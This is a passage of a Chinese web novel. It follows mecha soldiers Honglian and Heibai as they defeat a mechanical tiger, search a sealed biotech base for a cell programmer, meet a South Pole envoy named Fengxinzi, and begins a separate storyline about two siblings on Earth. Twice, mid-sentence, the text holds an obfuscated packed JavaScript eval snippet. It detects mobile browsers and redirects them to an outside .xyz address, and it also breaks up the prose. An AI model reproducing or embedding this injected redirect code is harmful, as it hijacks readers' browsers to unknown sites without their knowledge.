红莲判断队员们很少近战，都被吓坏了，再让大家针对突前的个体精确射击，恐怕很难。 最初奔跑的机械生物渐渐放慢步伐。 “嗯……我想射击但腾不出手，冷静的队员要尽量瞄准突出的敌人。黑白，你呼叫后方支援队伍对我们前方100米处，盲射火力，覆盖三轮，我看看这些小怪兽下一步的行动。” 第二轮炮弹散落在机械生物群时，全体都停止的追击，它们慢慢再次汇成一个黑团后向北撤离了。 人们看着那机械死尸遍野的雪原发呆，暴雪呼啸，白地暗蒙，环境好似顷刻间变回了平静的自然，只有那只虎型抓挠击裂座舱的声音回荡在旷野中。 “哎你们别发呆呀，我这快被猫挠死了！” “啊！怎么做！” 全员齐声问红莲。 “大家，嗯？我感觉大家精神有点衰弱啊，你们以后遇到危险可难办了，我表演个节目吧，我下令！全员组成方阵，转向，要全面对我！” 红莲机甲最终停在方阵中心，她放开虎型，这只高大机械生物跳开机甲后迅速在方阵中跑了一圈，它明白，自己孤身一只，已经没有活路了，它转身看向红莲，逐渐逼近，吐出了机甲的左臂。 “我不能放你走，抱歉了。” 机甲的右臂弹出臂刀，铁兽明白了，这是两个战士一对一的单挑。 众队员第一次如此细致观察虎型机械生物，外观几乎与犬型一致，却大三倍，骨骼也粗大很多，最让人印象深刻的是，近乎扁平的硕大头颅的开合处布满锐利的刀刺，利爪在攻击的时候能探出四倍长。 一个队员忍不住说：“太危险了！” 黑白马上说：“嘘！” 队员说的没错，按照作战规章，9台机甲的中队可以与一只虎型作战，还要使用梯形队列移动，交替开火。 这只虎型机械生物已经与岸防机甲交手过几十次了，但它还是谨慎的缓缓挪步，到红莲机甲左侧，这没有臂刀的一侧，红莲放慢了移动，看它还不攻击就弹出炮弹。 随着炮弹哐当哐当大量掉落，虎型的优势更加明确，它不再等了，一个急绕到机甲侧后，不等红莲转身，退停半步，凭借这急刹的蓄势，虎型跳高，虎腿被红莲用右臂抓住，它随着机甲上肢一起转圈。 “我也快晕了，前排机甲听令！弹出臂刀！” 方阵形成一圈刀，红莲驾驶机甲把虎型甩向刀圈，火花飞溅处，机械断肢弹落，红莲停下转身，确认它只剩一侧机械腿，就把虎型放在地上。 虎型刚想翻身就被红莲踩住后背。 “过来一个机甲，嗯！弹一个臂刀，架在它嘴上面。” 红莲的炮口顶住刀背。 砰！ 虎型上下颚切掉落。 “呼，好！任务完成，我晕了，想回车里休息会儿，你们谁扶我一下。” “太厉害了！红莲大人太厉害了！” “太精彩了！” 人们纷纷离机簇拥在红莲身边，岸防队员们有了久违的全胜欢腾。 黑白挤进人群，带红莲上车，看红莲趴着。 “真强，红莲，你像黑家主大人一样强。” “哎我帽子还在机甲里，累懵了，把虎型捆好给晴灯送去吧，黑白？” “嗯？帽子给你取来了，已经安排人做了。” “我还有事请黑白办，不要走，车开往五城区，等我睡醒了就。” “我参谋部压了一大堆公事……” 她看红莲已经睡着了。 有的队员敲车门，拿来一些营养剂，车辆启动，在漫天雪花中向西进发。 顺应兽性的时代 三辆支援车进入岸防连城防区后，穿梭在风雪交加的营地之间，小队队员们习惯用锅架在电热丝炉灶上煮热营养剂，再用隔热厚布捧着，慢慢等待它变回常温，人们用这种无意义的行为寻找自己生活中的意义。 大家一边喝着，一边看着这三辆疾驰过的车辆，似乎有的小队成员还认识司机，向车辆招手后又坐下，人们猜测着车内成员的身份，又猜测着车辆的目的地，看车队路过了第3城区，那就是最西端的第5城区无疑了，那里有刚启封不久的船坞，是要趁南极女王去世，对南极开战了吗？大家想着，打算出勤完，就去酒馆区议论一会再睡觉。 车队驶进第五城区的外防岗哨内，黑白不得不摇醒了红莲，看她朦胧中解开的黑色上衣，白色衬衫凌乱后露出白皙皮肤，就想不忙时候给她做件保暖内衣。 “羞不羞?” “嗯？到了吗？哈欠，脚好酸，要步行好远哎。” 红莲说着脱下靴子放松，整理着黑色裙摆和制服上衣，旁边的队员帮她梳理着黑色长发。 “哦！我也想回家洗澡啊！哎？步行？去哪！” 黑白激动的站起来质问，她挠头，手抓车顶的扶手。 众人发现，神奇的是黑白站在车厢里，头上还有那么大余量，再看她的黑色长袍，似乎还没有别人上衣长，嗯，不愧是业余服装设计师，人们点点头。 “去哪啊？你们看啥！” 敏感的黑白察觉了不对劲。 红莲：“啊哦，去那个什么生化废弃基地。” “我才不去咧，打开那地方万一泄露什么病毒要死的人呀。” 红莲取下帽子戴好，又穿上靴子。 “我问过晴灯，也和天家的元确认过，那里没有病毒，发生过生物组织泄露，可能有过什么怪物，一千年了，肯定都饿死了，黑家主说那地方没有你的权限打不开。” “怪物，怪物，打完铁怪物又找肉怪物的麻烦！哎？黑家主大人自己也有权限呀？” “她忙呀！没枪吗？” 红莲和队员确认装备。 “唉。” 黑白坐下，又变成躺下，说：“你们都厉害，格斗家，我一个小弱女子，去喂怪物哎。” “说了没有怪物，没有怪物。” 红莲挎上自动步枪，下车等她。 “没有怪物你拿枪干什么，我看你们就嫌我个子小又脾气大，想借怪杀人。” 她在车上埋怨着戴好帽子下车，队员递给她一把手枪。 “我不要！遇到怪物我就蹲下等死！哎！以后再也不出城了。” 队伍共五人组成一个纵队，向最西端海岸移动，红莲远远看到一个发光的白色雪球，越近形状越奇怪，她拍了一张却发现照片里什么都没有。 小队停在了黑色三角形的气密闸门前。 “哎，小女子喂怪物前还得输入密码，你们都转过去！” 黑白输密码的间隙里，队员四处查看，注意到红莲像得了精神病一样，痴痴的看着后方雪原，一个队员走到红莲面前，上下打量这个身穿黑底白边士官队服的长发少女，又看她所看的方向，平整的雪面什么都没有。 远处的冰山有那么罕见吗？ 这个队员往前走了几步，再回头看红莲，感觉她的视线就在自己站的位置。 “好了，我开启了啊！这么久了，里面不知道还有没有电，喔噢，核反应堆，那万一有泄露，咱们可不去喽。” 红莲的视觉中，小队慢慢靠近的是一个巨大的乳白色螺旋状圆球，靠近后，她看出这物体自发光，表面似乎极为光滑，她想起来了，像个圆形海螺，就是海螺！螺口有果冻状蠕动的门。 当一个队员在红莲眼前，走进海螺时候，队员什么都没碰到，红莲才发现雪花也是直接穿过海螺，这物体就像全息投影一样。 红莲迈步向前，却撞到一个空气墙，墙在她眼前的位置，出现上下两行文字，上方的字看不懂，下方的是夜星文字写明：此为灵能会学者院深海文明调查基地，受访者有灵能会标签，没有星神授权不得进入设施。 她身后的气密闸门缓慢开启完成，众人回头看着。 “开了，红莲走不走啊？” “你们看不到吗？” “啥？” “没什么，我这就来。” 红莲跑步，冲在前方，进入废弃基地的地上闸门，黑漆漆的环境，走过平台楼梯向下延伸，导致红莲滚了下去，她窝在角落听着上面呼喊就回答。 “我没事。” 环境非常缓和，她忍住酸疼，坐平，手摸索着，碰到一个圆滚滚的东西，红莲从手感上来判断，知道这是个什么东西，听到深处噔一声，噔一声，电力驱动的照明，渐渐点亮环境，她另一只手拿帽子遮住脸等待灯光，帽下光线明亮，她闭目转脸对着那个球形物体。 红莲还是被吓的一哆嗦。 “哈哈！红莲也有怕的东西嘛。” 正好让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875285|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑白看到了，她们边下梯子边查看环境。 红莲扶那东西想站起来，物体就粉碎了，黑白伸手扶她。 “我怕的东西可多了，这人看起来死很久了。” “嗯，什么生物都不可能关2000多年还活着，看来里面真没怪物了，哎，我的地下城一日游~” 整个设施墙壁是一种绿色的塑钢制成，有队员带手套摸一下琳琅满目的仪表和按钮，上面只有灰尘。 “你们没带块布子吗？哎！别吹！哎呀！” 黑白捂脸躲着尘土，红莲四下查看，发现基地内部异常规整，没有任何零碎物品，她们站的走廊，左右墙各有一个玻璃窗，窗下的绿色铁壁突出一片操作台，走廊入口的两侧各有一块屏幕，下方有些按钮，地面也是绿色钢材，靠墙角有一个粗大的密封环，环内一根绿色管子通向顶棚，顶上还是那么规整，灯带也是嵌入式结构，就连通风口也有百叶窗气密。 这基地的密封性好强啊！ 红莲从设施建造难度想象历史。 她猛然想起那具骸骨，急走几步，蹲下查看，有一个小小的长条金属片在粉末中闪光。她拿起来看，是一个徽章，背面却没有别针，是和衣物一体化的设计，正面有一行白字：血肉永生进化项目——北极依维坦号基地（雄）灵魂验证课题组 “喔，设施运行正常呀！只有深处的Y,X,Z区封锁着，话说我们来这干啥呀？” “您看！” 说话的队员指向玻璃窗，里面的灯光照亮绿色液体，液内漂浮的两个小头骨连着一根脊椎骨，没有其他骨骼残骸。 黑白点按操作台，古代屏幕显示出很多选项和一个三维地图，她点了一下，5个小三角所在的房间。 “我们站的地方叫接待口，嗯……实验成果展示窗，嗯，这个，嗯……。红莲？” 红莲捂着眼睛，缓缓喘气。 黑白咬着牙狠狠的说：“这地方是夜星最黑暗的历史，我们如果必须进去，我要求大家一定不要深究，不要思考，一定要忘记它。红莲大人，说你的目的。” 红莲走过去抱住黑白。 “对不起，让你看到不想看的东西了，可见在几千年前，人类就已经把命运交给非人之物了，晴灯的成果可能对人类很有用，我们会报答岸防连城的，目标物——细胞编程器。” 黑白推开她，在屏幕检索细胞编程器，显示为高保密级，输入岸防连城副总指挥官权限，查看到基地内有二台该设备，一台在比较近的C区，一台在Y区的走廊里。 她用最高权限谨慎的调取安保信息，发现整个设施内居然没有任何武装，安全保障依靠区域封锁，设施从A到Z以次序逐渐向海底延伸，另有一个通道入口在海底，那通道直连Z区。 黑白再查看环境信息，未封锁区域的空气，辐射值，生物安全值都为正常，这么大基地不可能只由人类管理，她赶忙查看信息传输协议，所有电子设备的存储空间都很小，信号显示无网络，原本连接着北极在线AI系统，就连电力都来自博物馆都市的一条地下线路，天家主对这里的事情一清二楚。 “既然天家敢派你进来，说明里面是安全的，红莲大人，我们只是讨厌这个地方，出发吧。” 深处的气密闸门应声开启，两名队员持枪在前侦查，红莲和黑白并肩在中，一名队员在后做标记。 小队穿过闸门，步入台阶，看下方非常明亮，整个A区宽广，又特别拥挤，接天连地的房间排满了大厅，前方队员脚刚一落地。 “欢迎您来到西大陆总油会主办——血肉永生进化工程分支——北极总商会出资建立的依维坦号，这里有人类文明新的曙光，我们将与龙宫号共同开启新世界。” 人们不出声，直行到达大厅尽头的气密闸门，却没有操作台。 黑白拨开队员，随意找了一个房间门输入指令，两名队员看房门开启，架枪向内观察，回头示意安全，房内有一排排的操作台，椅子都是类似马桶形状，与地面焊接的，整个设施非常强调规整和密封。 红莲拍净一个座椅的土，按黑白坐下，自己坐在操作台边。 “这里房间太多，用途不明，我们休息会吧，大家随意调查一下，我们搞清楚一个房间的用途，在开启下一个，黑白你哭了吗？” “没有，我确实想呆会儿。” 队员递来水和营养剂，大家吃着，有队员随意的按着操作台的按钮，灯和屏幕亮了，显示为没有权限，无法操作。 人们沉默的吃喝，有的队员百无聊赖的挨个按操作台的按钮。 “A区43号办公室监控录音：新元892年5月30日14时。贝塔你听说了吗，龙宫号又泄露了！你别和我聊这个！他们议论龙宫号第一次事故就已经泄露了，西大陆还出现啥超能力者！科学！科学！哪有什么超能力，不过是雌体发出的超强脑电波罢了，经亲属个体大脑转化，就能引发些普通人类做不到的物理现象哎！西大陆乱成了一锅粥，雌体都爬上大陆架了，不知道这些有钱人咋想的哎，研究这些玩意儿，我看依维坦号也不安全，好想辞职，可现在待遇这么好的工作哪找呢。那你就别辞！依维坦号不留活的材料，不会出现那种事故。” 我们别把古人当人类。 “我们别把它们当人类。” 黑白说出了大家的心声，这房间里的人们无法想象，整整一个时代的人能冷漠到那种程度，把恶行当成习以为常的生活。 然而，这些不能被当成人类的人，却是她们的祖先，红莲看黑白振奋精神，在屏幕上调查着。 是的，彻底切除这段历史能让人稍感放松，但历史是连续推进到现在的，她回想作战前与黑白的争论，也理解了，把所有人救回光明之中，是不可能做到的事情。 红莲随大家走进下一个房间的时候，脑子理清夜星的历史，从黄金时代的富足，到机械太空时代的便利。人无所不能，就开始突破最后一个枷锁，死亡。人类追求永生像打开了地狱之神的魔盒，自私和狭隘随着无穷的贪欲而不断增长，淹没了爱，开始肆意破坏其他生命的身体，就是血肉时代的逻辑。 “A区1号安保室监控录音：新元779年1月12日7时。上班了啊？黑哥，我听说永生有成果了？嗨！你听他们呢，都是网上看来的传言，早几辈子就能永生了，可咱们没希望，而且！我跟在总商会食品部的董事长后面，关门时候听到几句，机械永生不完美，偶尔有听音乐都唤不醒的意识体，□□永生能做到事情太少，才搞了这两个项目啊，跟咱们普通人没啥关系，我得些了金子哎！你敢私吞材料的随身物品？嗨，反正它们站在传送带……” 黑白按灭了这个操作台的电源。 “别听了，能走了。” 众人保持队形，进入气闸门，下楼梯看到还是个门，黑白在门上操作打开，内部很小，有一个单人操作台，远处有三排多人操作台，尽头的墙壁是一个巨大的落地式LED屏幕。 黑白坐在单人操作台的椅子上，不耐烦的按下录音回放按钮，她感觉这个操作台有些异样，谨慎起见，需要了它的用途。 “B区管理室监控录音：新元964年9月8日14时。您今天来的这么早。噢，新上任嘛，C区施工进度怎么样，我想把DF两区都改成灵魂验证课题组，设备先移到Y区吧，那空地大。听说您是灵能会成员？嗯，最近入会的，还不是会员，这协会说大也大，看古董有6000多年的历史了。哎说小也小，就二十几个会员，有个叫A的女人说话贼难听，我就图能当这个研究所的所长才入会的！咱们都是搞科学的，哪有什么灵魂？哎，但他们就信这套，说动总商会在这个基地设个研究所。” 她按灭录音后操作台上按钮，落地屏幕缓缓升起，后面的气闸门也渐渐打开。 “我不下去了，你两护卫红莲取东西，去之前听我说，下面所有区都是实验室，别带心去，它们没有人心，就当是厨房，我……” “黑白！” 她们互相拥抱着哭了，红莲此刻深深的意识到只有身边的这些人们给她暖心。 三人尽可能眯着眼睛观察下方，最前的两名队员瞄准后快速扫视环境，没有移动的物体就摆手快速走到C区中央，两人互相点了下头，就分头寻找像盒子的物体。 红莲翻动了几个手术台，发现仪器都锁在架子上。 “是这个吗？” 她摇摇头，环顾大厅，发现地面中央有个反常的半截圆柱，红莲来到圆柱前，看到横截面上有个屏幕，摸摸屏幕，手感很干涩，材质和整个基地的屏幕都有区别。 红莲沿盖面摸，发现缝隙，可能是升降的结构，就扣住缝隙，强塞手掌，圆柱外壳很薄，里面是一台黑色的方形设备，设备两侧各有一个钢管背带。 红莲拽住背带用力拖，线束和锁链越来越紧。 “我来！” 一个队员站红莲侧后，精确瞄准射击。 “什么声音？” 是黑白在楼上大喊。 “没事！走，红莲大人，我们背吧。” 红莲背着设备跑在最前，两人查看环境跟在最后。 众人看到警灯闪烁就加快脚步，黑白实在跟不上了扶墙说话。 “别急了，这设施0自动化，全靠博物馆都市的在线AI系统控制，我们慢慢走回去吧。” “这箱子怪沉的，我也跑不动了。” “嗯，C区是临时设立的，对这设备的保管不严，我有点别的事情想请教你。” 红莲明白黑白想用其他话题转移这基地带来的恐怖感。 “你说吧。” 黑白：“清除机械生物的作战你有什么建议吗？” “上车说吧。” “你一上车就犯困！” 两人并肩走，强颜欢笑。 “无论怎么做肯定会有牺牲。我想过一个战术，前锋设置侦查班，轻装，尽可能快速，发现机械生物位置报告远处的炮队，用火控计算机预判弹着点，五个弹点就能覆盖一只机械生物的运动轨迹，这样远程消灭巢穴外的敌人，也可以组成弹幕压制生物群。” “嗯，不错，我们以前试用过这个战术，高爆弹无法击杀机械生物，□□命中率太低，你意思改成前后方协同吗？可以一试！都怪灵能会禁止我们造制导武器。” 小队回到地面，才感觉以往看着的冰冷雪原这么亲切，大自然无论变成什么样子都不含纯粹的恶意，人们刚上车，车就动了，大家累倒，互相依靠睡着，红莲缓缓嘟囔着。 “我身不由己。” 8. 章8地球到夜星：奇迹的原点 “今天不去指挥部了吗？” “我来帮你转移设备。” 晴灯从孕育罐底部爬出来，清点着身边的工具，蹲着抬头看红莲，是她最亲密的人。 红莲经过两天休息又恢复到这般威风凛凛，威严的黑发随风散开，黑底白边的士官队服在有力而优美的身段下显露着力量，黑亮的金属帽檐上徽章形如平开的莲花，檐下这锐气的眼神变得温柔许多，使她平滑的小脸没有那么与众不同了。 红莲蹲在晴灯面前，见她白大褂满是油污，丝袜刮破好几个洞，就连身材都饿瘦了一圈，杂乱盘起的焦黄卷发白了一半，像个颓丧的维修工，只有全身心投入科研的眼神有着蓬勃的生命力。 “我建议你洗个澡，再搞。” 晴灯先看一地的零件，又看了一圈满屋拥挤的大型设备，再举胳膊看看自己的衣服。 “喔……让她们帮搬完大设备，要给我放到安全的地方呀！” “你在意保密？还是安全？” “都是些常见的设备，我自己改过，别丢了就行啦！运来治疗椅没？” “现在什么都缺，你又要最新型号的，我拜托贝比从博物馆都市的黑市买了一台，在外面。你们把这些大设备的装箱子，放到酒馆南墙角，就说是我定的位置。” 队员们搬动设备的间隙，红莲拉着晴灯的胳膊，走到工作台按她坐下，晴灯几乎一秒都不想浪费，马上左手点击黑方砖形状的细胞编程器，右手在被她拆的只剩电路板和按钮的电脑上操作，她越按越急躁。 “搞不懂啊！西大陆的家伙都是天才吗！” 红莲摘下手套和帽子，把头发梳到一侧。 “黑家主天天催我参与作战，我看你几乎不睡觉的做研究，没空问你，这的人都挺好的，我们聊的隐晦一点就行了，你那事情，搞的怎么样了？” “噢！这不？这个就是啊！我利用睡觉的时间！哦……总之就抽空写了个自动运算的模拟胚胎程序，按我设想！虎型机械生物的动力装置能很快让孕育罐装满0元素，在罐内0元素里输入胚胎程序，像造孩子那样培育出来一个由0元素构成的意识体，就能利用意识体，编程0元素了，但最近！” 晴灯不给红莲插话的机会。 “我查阅细胞编程器的工作记录，里面说，人工合成的胚胎没有灵魂，意识很难唤醒！哦！哦！西大陆科学怎么突然绕到玄学上了！喔！我打算放弃灵魂啥的，他们西大陆花千年都没搞明白的东西，我就不趟玄学浑水了，反正我看这编程器有强行激活意识的功能！喔，好像醒来的是大概率听不懂人话，只知道吃的家伙，并不影响我的计划！找个地方关起来就行了。咱俩必须讨论一下，0元素的功能怎么编程。因为一旦意识体苏醒并离开罐子，0元素回归中立物质，无法再改动了。” “你拿什么关？” 红莲很不高兴，气质转换成严肃，她听出晴灯只为论证实验结果，完全不考虑创造新生物的危险之处，但晴灯还在头也不抬操作着电脑。 “哦！拿？喔！对，0元素构成的生物，什么材料都关不住，哈哈！” 她和晴灯生活很久了，知道这时候不能打击这位疯狂科学家的积极性。 “我们没有必要搞那么急，你忘了自己说的话了？你有天家做后盾慢慢研究自己感兴趣的学科。” 晴灯恍然大悟，停下手上的工作，抬头听着。 红莲说道：“西大陆可能就是因为无视灵魂的重要性才导致了灾难，你既然以人类胚胎结构创造新生命，就该等她自然醒来。” “喔。。。你说的对，唉，夜星科学界早把伦理观抛之脑后了，我被她们影响了啊。” 晴灯思考后说话。 “可是，灵魂是从哪来的呢？我一点头绪都没有，细胞编程器的工作记录，推测灵魂可能是雌雄生命体结合时产生神经脉冲。喔，灵魂里那么大的信息量怎么可能是神经脉冲呢？听着就不靠谱！思考机械生物的动力来源，是超时空的未知意识能量，物质化形成的0元素，是否连接着别的时空呢？假设时空里有个生命体能感知夜星，想来夜星，也许灵魂和意识就会注入到这个罐中！喔，这末世绝望的星球谁愿意来啊？哎！我瞎猜的，洗澡去了。” 红莲将个人物品整理到床边的衣柜中，这居住舱空旷很多，北墙是她的床，靠西是晴灯的工作台和休息椅，西墙有些柜子，往南是电柜和浴室，南墙角有堆满小设备的架子在门两边，地当中是被晴灯改满线路的空孕育罐，东墙放着一个拆坏的治疗椅和一个包着薄膜的新款治疗椅，还留了很大空间，这里原本放着那只虎型的动力装置。 “你把那只虎型扔了？我们抓它费好大劲，差点死人。” “噗，哦，你说啥？噢它在罐子底下呀！” 红莲看孕育罐抬高很多，顶到居住舱灯了。 “那只小的呢？” “我拆了！” “噢。” “昨晚发呆，感觉好孤单！我把动力环磨小，打印了一套食道直连胃的小型动力装置，装进去，哎？早上它就活了，我打算做成机械小狗陪我！” 晴灯听门开了，红莲急走几步，到门口说着什么，门关声音过后，屋内又只剩她自己了。 来找红莲的是黑家主的随从参谋，这人平时片刻不离黑家主左右，她走的极快，红莲需要小跑几步再走到并肩位置，听她说南极特使极难对付，队员们仅仅因为解除特使佩剑就在海岸码头的冰面上僵持了一上午，那特使进到指挥部就无视门卫的呵斥，靠在黑家主办公室门边，搞的整个指挥部杀气腾腾，黑家主亲自交接机械生物动力计划需要的物品，南极特使却非要见红莲。 红莲心想自己没认识过任何一个南极人，难道是夜兰出事了吗？ 两人快跑冲过中央广场，三五成堆的岸防队员们正在议论特使到达北极带来了什么变局，就看到新升任指挥官级的风云人物红莲和参谋官，向威严伟岸的指挥部大厅急奔，而且其他士官像得到了什么消息，纷纷从酒馆区涌向指挥部，整个大厅石阶上挤满了士官，一时出现大战前的气氛。 红莲赶到人流最前，先进入指挥部，长廊两侧原本通往参谋部和图书馆，现在挤满了人，她挤进人群，停在最前排人后观察。 人群围出10米大的半圆空地，特使白色长发像雪原波浪起伏，发色准确的说，不是白色，是种近乎白色的浅粉，特使抱着胳膊，低头靠墙，闭目养神。身高大约1米79，白色高领内衣与粉白皮肤相近，肩比常人略宽，各有一道银色肩章，还能看到身后的纯白披风短至上臂，银色胸甲的花纹延伸到小腹，是种十分罕见的花卉图案。再看她全身穿雪白色的类似体操舞者的连体衣。身形修长，肌肉明显，曲线却有种活泼的生机之美。人群目光顺她优雅腿型向下看到脚部缠绕着银丝，银靴将足底垫高又连着小腿肚，是一双镂空银丝的机械助力装置。 特使抬头后，人群看她的粉色长发绕开脸庞，眉目清秀，眼神平静，鼻型高挺，嘴角似有平和淡雅的微笑，整体给人的感觉像在雪原上优雅起舞的白天鹅，人们心中同时涌现一个词：美。 红莲走出人群，特使的下一个动作用了脚部助力使得步幅很大，轻盈的跳落到人群前方，在红莲面前停住，伸左手递出了她一直抱在怀中的存储盘，红莲低头伸手接着，看清她手比自己大很多，手腕各有一个银质圆环，似乎是手套和连体衣之间的连接装饰，特使腰后晃动的居然是一柄长剑，剑身极长，银花剑鞘有着些许坡度，晃动中似能听到鞘内一点空隙，红莲微皱了一下眉，抬头看特使笑容间略有轻蔑。 “你为什么找我？认识夜兰吗？” 特使看红莲的眼神突然锐猛，气息凝缓，就后退了一步。 “不认识，我只是想见一见是什么人在做这件事。” 这特使说完就走进杀意满满的人群，面带微笑的出了大厅。 真是个怪人，红莲的想法和大家一样，颠颠手上的黑盒子，就进办公室，找黑家主打声招呼，看她宛如趴在桌上睡觉的黑毛狮子。 “噢，是红莲啊，送走了瘟神啊，那女人守住门，我正好歇歇。” “您认识她吗？我感觉她剑术很好，怎么敢带剑进指挥部。” 黑家主耸肩抖掉大衣，双手撸了一把乱发，站直，红莲感觉她的健壮身体，可以徒手绞死一个机械生物。 “何止是好？上蹿下跳的像个猴子!我和她交手几回了，岸防机甲拿她一点办法都没有，就我和贝比能用武技对付她，风家的王牌——风信子。那剑是个摆设，风家平时使用无人机和链锯剑之类的花哨武器。她们族人就那样，像野人一样蛮横，唉，希望她别在城里惹出乱子，你和晴灯早点出结果，我好送走瘟神，我先提前给她的信息名片盖好签，还得发给天家主盖。” 温柔的谢幕 位于北极内陆中央的巨大半球穹顶下，博物馆都市以环形道路分隔区域，所有圆环的中心点就是天家主的办公室。 “南极的特使到了，同时带来了新女王——银雪女王登基的消息。” 元接听了黑家主的语音并将风信子的信息名片发到天家主的桌面上。 “噢，南极稳定了啊，新女王挺有能力的嘛。” 天家主放下汤匙，点完确认，继续享用美食。她最近刚与南极海岸上的机械兵团重新建立联系，让她非常得意，元明白主人的心情就故意把新闻说的有趣。 “还设阳家为行政首都。” “哦呵呵！看来冰雪之死，余波未尽啊~” 两人以南极的动荡不安为乐，元鄙视三家的行为不忠。 “前女王死因成谜，三家就迫不及待的推举新王了。” “因为你不是叛徒，所以不懂那种人。人的忠诚是种个体特质，与献忠的对象无关，不是说对象对自己好就忠诚，对自己不好就背叛。忠诚的人有自己的小世界，世界外面全是黑暗，所以忠诚。我把南极的风千阳三家，看成狼，狐狸，猪！谁傻到把南极王座当宝？这种事情，只有猪能干的出来。” “您是说阳家主干的？” 天家主听完元这话，绝世美貌的脸挤了一瞬不悦，放下了汤匙，随后双手抖抖泡泡袖，整理着卷发和波浪领口。 “谁杀的已经不重要了，元你忠诚有余，战略不足。我话关键的点在于南极王座，那个座位太扎人了，南极人类主要由缺乏实力的移民组成，所以科技发展一直比北极落后至少一个代差。位于北极的灵能会，担心鞭长莫及，更加重了对南极的施压。历代南极王都手握重兵，老实巴交的龟缩在首都风花白夜宫，稀里糊涂的活着就行。自从冰雪上位，情况就发生了变化啊，论智斗，我第一次遇到这么头疼的对手。” 元不停点头并赶忙补救她的忠诚。 “我认为您才是智慧的顶点。” “江山待有人才出，总有些特例，我挤压岸防连城，逼黑家主一点点打到南极海岸了，借此控制南极沿海两年，那里的奴隶院机械兵团原本就是天家的财产，只要连上我的在线AI系统，慢慢搞就是我的战力，南极沿岸还有巨型工业设施。冰雪那女人上位后，搞了个风家，打的黑家主毫无招架之力。我以为也就这样了，没过几月，她又限制住灵能会在南极的活动。” 元听的一头雾水，身穿纯白西装的她像个急于求学的美少年。 “这些事发生在我被您提拔之前吗？她是普通人类怎能限制住灵能会呢？” “那时没你呢！我独自看情报，感觉好神奇！写冰雪女王站在赛博空港门口，连续几天，对歌剧院院长唱歌者说教。” 元十分熟悉唱歌者，两人见面只用文字沟通。 “唱歌者的声音是攻击，平时不是不能出声的吗？” “我估计冰雪自己也说累了，走前让唱歌者唱一句给她听，唱歌者对待普通人类很暴躁，又被她说教好几天，就唱了一句，可冰雪听完面带微笑说真好听。” “这不可能吧，歌声能消灭万人的死亡歌姬唱歌者。” “就一句估计不会致命，后面还有更奇妙的事情，冰雪又跟家园堡的忏悔院院长战争执刑辩论了一天一夜，两人还成为很好的朋友，战争执刑还把奴隶院机械军团长咖啡给冰雪当了两年女佣。这一连串的迷幻操作导致赛博空港，家园堡，海岸工业区都对南极开放了。啊！其实灵能会的各单位在没有上司指示之前，只要不被人类触及核心利益，有可能采取息事宁人的做法，冰雪正是抓住了这一点。她把我编织的假象看破，对灵能会来说，根本就不分南北极，像跷跷板的两头，采取均衡的措施才符合灵能会的利益，这极大程度的遏制了天家。等我和冰雪面对面切磋头脑的时候，头疼更震惊，人类基因的偶然中竟能诞生出此等英才。” 从实际作用来说，北极三家与南极三家没有区别，正是因为北极三家眼光只放在人类内斗，南极才不得不成立了风千阳三家，天家主的器量远不如冰雪女王。 失败的人类只能依靠灵能会的怜悯，想想自己既定的命运如同漏水的船只，稍有空闲就幻想着能穿越到生机盎然的世界里。 反过来说，生活在美好世界的人，尽可能找到生活的乐趣，穿越者不过是我们夜星人失败后无能为力的妄想罢了，除非你也面对困境并同样身不由己。 多余的人 夜星作家曾参考新元220年刚普及信息技术的黄金时代，描写生活于蓝天白云下，高楼大厦之间，普通男女的爱情故事，这个题材被称为黄金浪漫主义诗歌。 而蓝天白云下的这对男女却是真实的，因为他们不在夜星。 雨后的浅水，倒映着路边的花坛和墙上行走的黄花猫，车辆缓慢驶过社区街道，四层小楼下的餐厅店员正在为晚餐做着准备，疾驰而过的车流过后，显现一片建设中的写字楼，走在前方的女孩手持长棍低头步行，久未修剪的黑发遮蔽面容，使她只顾低头急走，炎热的阳光炙烤了洗脱色的运动衣。 女孩另一只手牵着后方的男生，他消瘦的身形正好符合这身黑色马甲西装，白色衬衫领口上的清白肤色像从未出门，平缓面容闭目后更添几分英俊，再配着昨天刚修染完的鲍勃头引得街道上的女性都注目低语。 “橡树同学！” “橡子，等等。” “热死了，快点！” 两人后方的路口，有个女孩一瘸一拐的尽力跑来，她先是揉揉行动不便的腿，整理了一下校服和仪容才开口说话。 “你不去残疾福利学校了吗？” 男生点点头又补充了一个嗯。 “老师希望你转成住校生，同学们都会照顾你的，我也是！这样你妹妹就能轻松……” 兄妹二人继续向前走着，目的地是9公里外的老式公寓，那里离地铁站很远，所以妹妹橡子按往常习惯，步行回家，炎热的天气丝毫却不对橡树产生影响。 “买个遮阳帽吧。” “哈？没必要浪费那钱。” 橡子只在她感兴趣的小说和游戏，食材和房租上花钱。 她闷声走着，户外的一切都令她感到焦躁，包括人们的视线。 “反正今天的雇主多给了钱。” 橡树说的是，二人不久前参与的豪华婚宴，在郊区的一处超大型会籍制度假村中举行。婚礼前，橡子再三嘱咐哥哥要弹的热烈一些，因为此前就有雇主因为曲调舒缓忧郁而拒绝付款，但橡树对琴曲有自己的理解，他手一碰钢琴，就不会变通，所以还按往常的情绪弹奏，使得婚礼顿时寂静无声。曲毕后，新娘正要发难，健壮的新郎却挡在最前，大赞橡树演奏的曲调悠远而高亢，复奏有力而坚定，是在祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875286|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福他们夫妻坚贞的爱情，他说着，让经纪人多给了兄妹5000元。 